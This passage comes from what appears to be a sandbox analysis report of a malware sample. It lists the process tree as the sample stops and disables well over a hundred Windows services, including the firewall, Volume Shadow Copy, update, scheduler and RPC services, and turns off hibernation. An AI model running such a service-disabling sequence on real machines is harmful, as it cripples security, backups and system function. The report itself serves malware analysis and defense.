      "sc" config LanmanServer start= disabled
      4⤵
      PID:4868
  - - C:\Windows\system32\sc.exe
      "sc" stop LicenseManager
      4⤵
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" stop lltdsvc
      4⤵
      PID:2576
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      PID:4156
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanWorkstation start= disabled
      4⤵
      PID:3316
  - - C:\Windows\system32\sc.exe
      "sc" stop lmhosts
      4⤵
      Launches sc.exe
      PID:1160
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4532
  - - C:\Windows\system32\sc.exe
      "sc" stop LSM
      4⤵
      PID:2464
  - - C:\Windows\system32\sc.exe
      "sc" stop LxpSvc
      4⤵
      PID:1056
  - - C:\Windows\system32\sc.exe
      "sc" config lfsvc start= disabled
      4⤵
      PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" stop MapsBroker
      4⤵
      PID:4668
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" config LicenseManager start= disabled
      4⤵
      PID:2996
  - - C:\Windows\system32\sc.exe
      "sc" config lltdsvc start= disabled
      4⤵
      Launches sc.exe
      PID:1908
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4520
  - - C:\Windows\system32\sc.exe
      "sc" stop MicrosoftEdgeElevationService
      4⤵
      PID:3260
  - - C:\Windows\system32\sc.exe
      "sc" config lmhosts start= disabled
      4⤵
      PID:5092
  - - C:\Windows\system32\sc.exe
      "sc" config LSM start= disabled
      4⤵
      PID:1928
  - - C:\Windows\system32\sc.exe
      "sc" config LxpSvc start= disabled
      4⤵
      PID:1096
  - - C:\Windows\system32\sc.exe
      "sc" stop MixedRealityOpenXRSvc
      4⤵
      PID:968
  - - C:\Windows\system32\sc.exe
      "sc" stop MozillaMaintenance
      4⤵
      Launches sc.exe
      PID:3792
  - - C:\Windows\system32\sc.exe
      "sc" config MapsBroker start= disabled
      4⤵
      PID:2368
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3648
  - - C:\Windows\system32\sc.exe
      "sc" stop mpssvc
      4⤵
      PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" config MicrosoftEdgeElevationService start= disabled
      4⤵
      PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" stop MSDTC
      4⤵
      PID:2820
  - - C:\Windows\system32\sc.exe
      "sc" stop MSiSCSI
      4⤵
      PID:3268
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1496
  - - C:\Windows\system32\sc.exe
      "sc" stop msiserver
      4⤵
      PID:912
  - - C:\Windows\system32\sc.exe
      "sc" config MixedRealityOpenXRSvc start= disabled
      4⤵
      PID:1352
  - - C:\Windows\system32\sc.exe
      "sc" config MozillaMaintenance start= disabled
      4⤵
      PID:4928
  - - C:\Windows\system32\sc.exe
      "sc" stop MsKeyboardFilter
      4⤵
      PID:1556
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4016
  - - C:\Windows\system32\sc.exe
      "sc" config MSDTC start= disabled
      4⤵
      PID:1620
  - - C:\Windows\system32\sc.exe
      "sc" config mpssvc start= disabled
      4⤵
      Launches sc.exe
      PID:1212
  - - C:\Windows\system32\sc.exe
      "sc" stop NaturalAuthentication
      4⤵
      PID:2848
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:64
  - - C:\Windows\system32\sc.exe
      "sc" config MSiSCSI start= disabled
      4⤵
      PID:2248
  - - C:\Windows\system32\sc.exe
      "sc" stop NcaSvc
      4⤵
      PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" config msiserver start= disabled
      4⤵
      PID:4492
  - - C:\Windows\system32\sc.exe
      "sc" config MsKeyboardFilter start= disabled
      4⤵
      PID:3816
  - - C:\Windows\system32\sc.exe
      "sc" stop NcbService
      4⤵
      PID:1728
  - - C:\Windows\system32\sc.exe
      "sc" stop NcdAutoSetup
      4⤵
      PID:3000
  - - C:\Windows\system32\sc.exe
      "sc" stop Netlogon
      4⤵
      PID:4440
  - - C:\Windows\system32\sc.exe
      "sc" config NaturalAuthentication start= disabled
      4⤵
      PID:620
  - - C:\Windows\system32\sc.exe
      "sc" stop Netman
      4⤵
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config NcbService start= disabled
      4⤵
      PID:3600
  - - C:\Windows\system32\sc.exe
      "sc" stop netprofm
      4⤵
      PID:2384
  - - C:\Windows\system32\sc.exe
      "sc" config NcaSvc start= disabled
      4⤵
      PID:4324
  - - C:\Windows\system32\sc.exe
      "sc" stop NetSetupSvc
      4⤵
      PID:4664
  - - C:\Windows\system32\sc.exe
      "sc" config NcdAutoSetup start= disabled
      4⤵
      PID:4456
  - - C:\Windows\system32\sc.exe
      "sc" config Netlogon start= disabled
      4⤵
      PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" stop NetTcpPortSharing
      4⤵
      PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" config Netman start= disabled
      4⤵
      PID:4880
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcCtnrSvc
      4⤵
      PID:4552
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcSvc
      4⤵
      Launches sc.exe
      PID:4556
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1056
  - - C:\Windows\system32\sc.exe
      "sc" config NetSetupSvc start= disabled
      4⤵
      PID:2936
  - - C:\Windows\system32\sc.exe
      "sc" stop NlaSvc
      4⤵
      PID:2496
  - - C:\Windows\system32\sc.exe
      "sc" config NetTcpPortSharing start= disabled
      4⤵
      PID:2132
  - - C:\Windows\system32\sc.exe
      "sc" stop nsi
      4⤵
      PID:4020
  - - C:\Windows\system32\sc.exe
      "sc" stop ose64
      4⤵
      PID:2728
  - - C:\Windows\system32\sc.exe
      "sc" config NgcCtnrSvc start= disabled
      4⤵
      PID:4784
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4604
  - - C:\Windows\system32\sc.exe
      "sc" config NgcSvc start= disabled
      4⤵
      PID:4164
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3496
  - - C:\Windows\system32\sc.exe
      "sc" stop p2pimsvc
      4⤵
      PID:800
  - - C:\Windows\system32\sc.exe
      "sc" config NlaSvc start= disabled
      4⤵
      PID:968
  - - C:\Windows\system32\sc.exe
      "sc" stop p2psvc
      4⤵
      PID:1116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" config nsi start= disabled
      4⤵
      PID:4288
  - - C:\Windows\system32\sc.exe
      "sc" config ose64 start= disabled
      4⤵
      PID:2940
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2820
  - - C:\Windows\system32\sc.exe
      "sc" stop PcaSvc
      4⤵
      PID:1916
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" stop PeerDistSvc
      4⤵
      PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" config p2pimsvc start= disabled
      4⤵
      PID:1992
  - - C:\Windows\system32\sc.exe
      "sc" stop perceptionsimulation
      4⤵
      PID:1976
  - - C:\Windows\system32\sc.exe
      "sc" stop PerfHost
      4⤵
      PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" config p2psvc start= disabled
      4⤵
      PID:3668
  - - C:\Windows\system32\sc.exe
      "sc" stop PhoneSvc
      4⤵
      PID:832
  - - C:\Windows\system32\sc.exe
      "sc" config PcaSvc start= disabled
      4⤵
      PID:3708
  - - C:\Windows\system32\sc.exe
      "sc" config PeerDistSvc start= disabled
      4⤵
      PID:2236
  - - C:\Windows\system32\sc.exe
      "sc" stop pla
      4⤵
      PID:2848
  - - C:\Windows\system32\sc.exe
      "sc" config perceptionsimulation start= disabled
      4⤵
      PID:1896
  - - C:\Windows\system32\sc.exe
      "sc" config PerfHost start= disabled
      4⤵
      PID:3328
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2064
  - - C:\Windows\system32\sc.exe
      "sc" stop PlugPlay
      4⤵
      PID:4720
  - - C:\Windows\system32\sc.exe
      "sc" config PhoneSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3028
  - - C:\Windows\system32\sc.exe
      "sc" stop PNRPAutoReg
      4⤵
      Launches sc.exe
      PID:3732
  - - C:\Windows\system32\sc.exe
      "sc" stop PNRPsvc
      4⤵
      PID:3724
  - - C:\Windows\system32\sc.exe
      "sc" config pla start= disabled
      4⤵
      PID:3476
  - - C:\Windows\system32\sc.exe
      "sc" stop PolicyAgent
      4⤵
      PID:3000
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2432
  - - C:\Windows\system32\sc.exe
      "sc" stop Power
      4⤵
      PID:620
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintNotify
      4⤵
      PID:1440
  - - C:\Windows\system32\sc.exe
      "sc" config PlugPlay start= disabled
      4⤵
      Launches sc.exe
      PID:1220
  - - C:\Windows\system32\sc.exe
      "sc" config PNRPAutoReg start= disabled
      4⤵
      PID:1776
  - - C:\Windows\system32\sc.exe
      "sc" config PNRPsvc start= disabled
      4⤵
      PID:2636
  - - C:\Windows\system32\sc.exe
      "sc" stop ProfSvc
      4⤵
      PID:4656
  - - C:\Windows\system32\sc.exe
      "sc" stop PushToInstall
      4⤵
      PID:2516
  - - C:\Windows\system32\sc.exe
      "sc" config PolicyAgent start= disabled
      4⤵
      PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" config PrintNotify start= disabled
      4⤵
      PID:1052
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1240
  - - C:\Windows\system32\sc.exe
      "sc" config Power start= disabled
      4⤵
      PID:4236
  - - C:\Windows\system32\sc.exe
      "sc" stop QWAVE
      4⤵
      PID:1036
  - - C:\Windows\system32\sc.exe
      "sc" stop RasAuto
      4⤵
      PID:4944
  - - C:\Windows\system32\sc.exe
      "sc" config ProfSvc start= disabled
      4⤵
      PID:4964
  - - C:\Windows\system32\sc.exe
      "sc" stop RasMan
      4⤵
      PID:2784
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteAccess
      4⤵
      Launches sc.exe
      PID:4268
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteRegistry
      4⤵
      PID:2368
  - - C:\Windows\system32\sc.exe
      "sc" config PushToInstall start= disabled
      4⤵
      PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" config QWAVE start= disabled
      4⤵
      PID:4760
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4784
  - - C:\Windows\system32\sc.exe
      "sc" config RasAuto start= disabled
      4⤵
      PID:1688
  - - C:\Windows\system32\sc.exe
      "sc" stop RetailDemo
      4⤵
      PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" config RasMan start= disabled
      4⤵
      PID:1968
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteAccess start= disabled
      4⤵
      PID:1352
  - - C:\Windows\system32\sc.exe
      "sc" stop RmSvc
      4⤵
      PID:220
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteRegistry start= disabled
      4⤵
      PID:1948
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcEptMapper
      4⤵
      PID:4388
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcLocator
      4⤵
      PID:3812
  - - C:\Windows\system32\sc.exe
      "sc" config RetailDemo start= disabled
      4⤵
      PID:3996
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcSs
      4⤵
      PID:2016
  - - C:\Windows\system32\sc.exe
      "sc" stop SamSs
      4⤵
      PID:5116
  - - C:\Windows\system32\sc.exe
      "sc" stop SCardSvr
      4⤵
      PID:3796
  - - C:\Windows\system32\sc.exe
      "sc" config RpcEptMapper start= disabled
      4⤵
      PID:832
  - - C:\Windows\system32\sc.exe
      "sc" config RpcLocator start= disabled
      4⤵
      PID:4148
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2440
  - - C:\Windows\system32\sc.exe
      "sc" stop ScDeviceEnum
      4⤵
      PID:64
  - - C:\Windows\system32\sc.exe
      "sc" config SCardSvr start= disabled
      4⤵
      PID:1348
  - - C:\Windows\system32\sc.exe
      "sc" config RpcSs start= disabled
      4⤵
      Launches sc.exe
      PID:4220
  - - C:\Windows\system32\sc.exe
      "sc" config SamSs start= disabled
      4⤵
      PID:1204
  - - C:\Windows\system32\sc.exe
      "sc" stop Schedule
      4⤵
      PID:3376
  - - C:\Windows\system32\sc.exe
      "sc" stop SCPolicySvc
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" config ScDeviceEnum start= disabled
      4⤵
      PID:920
  - - C:\Windows\system32\sc.exe
      "sc" stop SDRSVC
      4⤵
      PID:4244
  - - C:\Windows\system32\sc.exe
      "sc" stop seclogon
      4⤵
      PID:1752
  - - C:\Windows\system32\sc.exe
      "sc" config Schedule start= disabled
      4⤵
      PID:1584
  - - C:\Windows\system32\sc.exe
      "sc" stop SEMgrSvc
      4⤵
      PID:3172
  - - C:\Windows\system32\sc.exe
      "sc" config SCPolicySvc start= disabled
      4⤵
      PID:2972
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" stop SENS
      4⤵
      PID:620
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4552
  - - C:\Windows\system32\sc.exe
      "sc" config SDRSVC start= disabled
      4⤵
      PID:884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" config seclogon start= disabled
      4⤵
      Launches sc.exe
      PID:1264
  - - C:\Windows\system32\sc.exe
      "sc" config SEMgrSvc start= disabled
      4⤵
      PID:2424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2980
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorDataService
      4⤵
      PID:3012
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3212
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorService
      4⤵
      PID:1932
  - - C:\Windows\system32\sc.exe
      "sc" config SENS start= disabled
      4⤵
      PID:5092
  - - C:\Windows\system32\sc.exe
      "sc" stop SensrSvc
      4⤵
      Launches sc.exe
      PID:1036
  - - C:\Windows\system32\sc.exe
      "sc" stop SessionEnv
      4⤵
      PID:4872
  - - C:\Windows\system32\sc.exe
      "sc" config SensorDataService start= disabled
      4⤵
      PID:4204
  - - C:\Windows\system32\sc.exe
      "sc" stop SgrmBroker
      4⤵
      PID:2212
  - - C:\Windows\system32\sc.exe
      "sc" config SensorService start= disabled
      4⤵
      PID:4964
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedAccess
      4⤵
      PID:2784
  - - C:\Windows\system32\sc.exe
      "sc" config SensrSvc start= disabled
      4⤵
      PID:4888
  - - C:\Windows\system32\sc.exe
      "sc" config SgrmBroker start= disabled
      4⤵
      PID:1196
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedRealitySvc
      4⤵
      Launches sc.exe
      PID:3792
  - - C:\Windows\system32\sc.exe
      "sc" config SessionEnv start= disabled
      4⤵
      PID:4760
  - - C:\Windows\system32\sc.exe
      "sc" stop ShellHWDetection
      4⤵
      PID:1688
  - - C:\Windows\system32\sc.exe
      "sc" config SharedAccess start= disabled
      4⤵
      PID:1760
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1976
  - - C:\Windows\system32\sc.exe
      "sc" stop shpamsvc
      4⤵
      Launches sc.exe
      PID:4876
  - - C:\Windows\system32\sc.exe
      "sc" stop smphost
      4⤵
      PID:4592
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4388
  - - C:\Windows\system32\sc.exe
      "sc" stop SmsRouter
      4⤵
      PID:1620
  - - C:\Windows\system32\sc.exe
      "sc" config ShellHWDetection start= disabled
      4⤵
      PID:2680
  - - C:\Windows\system32\sc.exe
      "sc" config SharedRealitySvc start= disabled
      4⤵
      PID:4948
  - - C:\Windows\system32\sc.exe
      "sc" stop SNMPTRAP
      4⤵
      PID:4692
  - - C:\Windows\system32\sc.exe
      "sc" config shpamsvc start= disabled
      4⤵
      PID:4524
  - - C:\Windows\system32\sc.exe
      "sc" config smphost start= disabled
      4⤵
      PID:4512
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1212
  - - C:\Windows\system32\sc.exe
      "sc" stop spectrum
      4⤵
      Launches sc.exe
      PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" config SmsRouter start= disabled
      4⤵
      PID:4768
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1896
  - - C:\Windows\system32\sc.exe
      "sc" stop Spooler
      4⤵
      PID:2572
  - - C:\Windows\system32\sc.exe
      "sc" config SNMPTRAP start= disabled
      4⤵
      PID:2072
  - - C:\Windows\system32\sc.exe
      "sc" stop sppsvc
      4⤵
      PID:3328
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3476
  - - C:\Windows\system32\sc.exe
      "sc" stop SSDPSRV
      4⤵
      PID:4048
  - - C:\Windows\system32\sc.exe
      "sc" stop ssh-agent
      4⤵
      PID:2812
  - - C:\Windows\system32\sc.exe
      "sc" config Spooler start= disabled
      4⤵
      PID:4156
  - - C:\Windows\system32\sc.exe
      "sc" config spectrum start= disabled
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" stop SstpSvc
      4⤵
      PID:4596
  - - C:\Windows\system32\sc.exe
      "sc" stop StateRepository
      4⤵
      PID:3600
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2800
  - - C:\Windows\system32\sc.exe
      "sc" config SSDPSRV start= disabled
      4⤵
      PID:4664
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1220
  - - C:\Windows\system32\sc.exe
      "sc" config sppsvc start= disabled
      4⤵
      Launches sc.exe
      PID:3136
  - - C:\Windows\system32\sc.exe
      "sc" config ssh-agent start= disabled
      4⤵
      PID:4868
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3000
  - - C:\Windows\system32\sc.exe
      "sc" stop stisvc
      4⤵
      PID:3316
  - - C:\Windows\system32\sc.exe
      "sc" config SstpSvc start= disabled
      4⤵
      PID:228
  - - C:\Windows\system32\sc.exe
      "sc" stop StorSvc
      4⤵
      PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" config StateRepository start= disabled
      4⤵
      PID:1052
  - - C:\Windows\system32\sc.exe
      "sc" stop svsvc
      4⤵
      PID:2728
  - - C:\Windows\system32\sc.exe
      "sc" stop swprv
      4⤵
      Launches sc.exe
      PID:796
  - - C:\Windows\system32\sc.exe
      "sc" config stisvc start= disabled
      4⤵
      PID:4628
  - - C:\Windows\system32\sc.exe
      "sc" stop SysMain
      4⤵
      PID:2036
  - - C:\Windows\system32\sc.exe
      "sc" stop SystemEventsBroker
      4⤵
      Launches sc.exe
      PID:1832
  - - C:\Windows\system32\sc.exe
      "sc" config StorSvc start= disabled
      4⤵
      PID:4120
  - - C:\Windows\system32\sc.exe
      "sc" config svsvc start= disabled
      4⤵
      PID:5096
  - - C:\Windows\system32\sc.exe
      "sc" config swprv start= disabled
      4⤵
      PID:4504
  - - C:\Windows\system32\sc.exe
      "sc" stop TabletInputService
      4⤵
      PID:1412
  - - C:\Windows\system32\sc.exe
      "sc" config SysMain start= disabled
      4⤵
      PID:1540
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4836
  - - C:\Windows\system32\sc.exe
      "sc" stop TapiSrv
      4⤵
      PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" stop TermService
      4⤵
      PID:4848
  - - C:\Windows\system32\sc.exe
      "sc" config SystemEventsBroker start= disabled
      4⤵
      PID:2024
  - - C:\Windows\system32\sc.exe
      "sc" stop Themes
      4⤵
      PID:3976
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1968
  - - C:\Windows\system32\sc.exe
      "sc" config TabletInputService start= disabled
      4⤵
      PID:4152
  - - C:\Windows\system32\sc.exe
      "sc" stop TieringEngineService
      4⤵
      PID:4312
  - - C:\Windows\system32\sc.exe
      "sc" config TermService start= disabled
      4⤵
      PID:1488
  - - C:\Windows\system32\sc.exe
      "sc" stop TimeBrokerSvc
      4⤵
      PID:2700
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3708
  - - C:\Windows\system32\sc.exe
      "sc" config TapiSrv start= disabled
      4⤵
      PID:2040
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4592
  - - C:\Windows\system32\sc.exe
      "sc" config Themes start= disabled
      4⤵
      PID:2208
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1556
  - - C:\Windows\system32\sc.exe
      "sc" stop TokenBroker
      4⤵
      PID:4600
  - - C:\Windows\system32\sc.exe
      "sc" config TieringEngineService start= disabled
      4⤵
      PID:748
  - - C:\Windows\system32\sc.exe
      "sc" config TimeBrokerSvc start= disabled
      4⤵
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" stop TrkWks
      4⤵
      Launches sc.exe
      PID:832
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" stop TroubleshootingSvc
      4⤵
      PID:4512
  - - C:\Windows\system32\sc.exe
      "sc" stop TrustedInstaller
      4⤵
      PID:3248
  - - C:\Windows\system32\sc.exe
      "sc" stop tzautoupdate
      4⤵
      PID:3528
  - - C:\Windows\system32\sc.exe
      "sc" stop UevAgentService
      4⤵
      PID:4192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4492
  - - C:\Windows\system32\sc.exe
      "sc" config TokenBroker start= disabled
      4⤵
      PID:4200
  - - C:\Windows\system32\sc.exe
      "sc" config TroubleshootingSvc start= disabled
      4⤵
      PID:1348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2072
  - - C:\Windows\system32\sc.exe
      "sc" config TrustedInstaller start= disabled
      4⤵
      PID:920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3328
  - - C:\Windows\system32\sc.exe
      "sc" config TrkWks start= disabled
      4⤵
      PID:1204
  - - C:\Windows\system32\sc.exe
      "sc" config tzautoupdate start= disabled
      4⤵
      PID:2648
  - - C:\Windows\system32\sc.exe
      "sc" config UevAgentService start= disabled
      4⤵
      PID:2200
  - - C:\Windows\system32\sc.exe
      "sc" stop UmRdpService
      4⤵
      PID:3172
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" stop upnphost
      4⤵
      PID:1164
  - - C:\Windows\system32\sc.exe
      "sc" stop UserManager
      4⤵
      PID:4856
  - - C:\Windows\system32\sc.exe
      "sc" stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4244
  - - C:\Windows\system32\sc.exe
      "sc" stop VacSvc
      4⤵
      PID:2800
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:620
  - - C:\Windows\system32\sc.exe
      "sc" stop VaultSvc
      4⤵
      Launches sc.exe
      PID:3924
  - - C:\Windows\system32\sc.exe
      "sc" config UmRdpService start= disabled
      4⤵
      PID:2852
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4868
  - - C:\Windows\system32\sc.exe
      "sc" config upnphost start= disabled
      4⤵
      PID:1844
  - - C:\Windows\system32\sc.exe
      "sc" config UserManager start= disabled
      4⤵
      PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" config UsoSvc start= disabled
      4⤵
      PID:1052
  - - C:\Windows\system32\sc.exe
      "sc" config VacSvc start= disabled
      4⤵
      PID:1684
  - - C:\Windows\system32\sc.exe
      "sc" config VaultSvc start= disabled
      4⤵
      PID:1908
  - - C:\Windows\system32\sc.exe
      "sc" stop vds
      4⤵
      PID:2524
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2212
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicguestinterface
      4⤵
      Launches sc.exe
      PID:884
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicheartbeat
      4⤵
      PID:3464
  - - C:\Windows\system32\sc.exe
      "sc" config netprofm start= disabled
      4⤵
      PID:1524
  - - C:\Windows\system32\sc.exe
      "sc" stop vmickvpexchange
      4⤵
      PID:5088
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicrdv
      4⤵
      PID:3824
  - - C:\Windows\system32\sc.exe
      "sc" config vmicguestinterface start= disabled
      4⤵
      PID:440
  - - C:\Windows\system32\sc.exe
      "sc" config vds start= disabled
      4⤵
      PID:5104
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" config vmicheartbeat start= disabled
      4⤵
      PID:4424
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicshutdown
      4⤵
      PID:2372
  - - C:\Windows\system32\sc.exe
      "sc" stop vmictimesync
      4⤵
      PID:4128
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvmsession
      4⤵
      PID:3608
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4884
  - - C:\Windows\system32\sc.exe
      "sc" config vmickvpexchange start= disabled
      4⤵
      PID:1712
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1688
  - - C:\Windows\system32\sc.exe
      "sc" config vmicrdv start= disabled
      4⤵
      PID:3436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3308
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvss
      4⤵
      PID:4348
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:3668
  - - C:\Windows\system32\sc.exe
      "sc" config vmictimesync start= disabled
      4⤵
      PID:1488
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvmsession start= disabled
      4⤵
      PID:2120
  - - C:\Windows\system32\sc.exe
      "sc" config vmicshutdown start= disabled
      4⤵
      PID:1664
  - - C:\Windows\system32\sc.exe
      "sc" stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2680
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvss start= disabled
      4⤵
      PID:3296
  - - C:\Windows\system32\sc.exe
      "sc" stop WalletService
      4⤵
      PID:4948
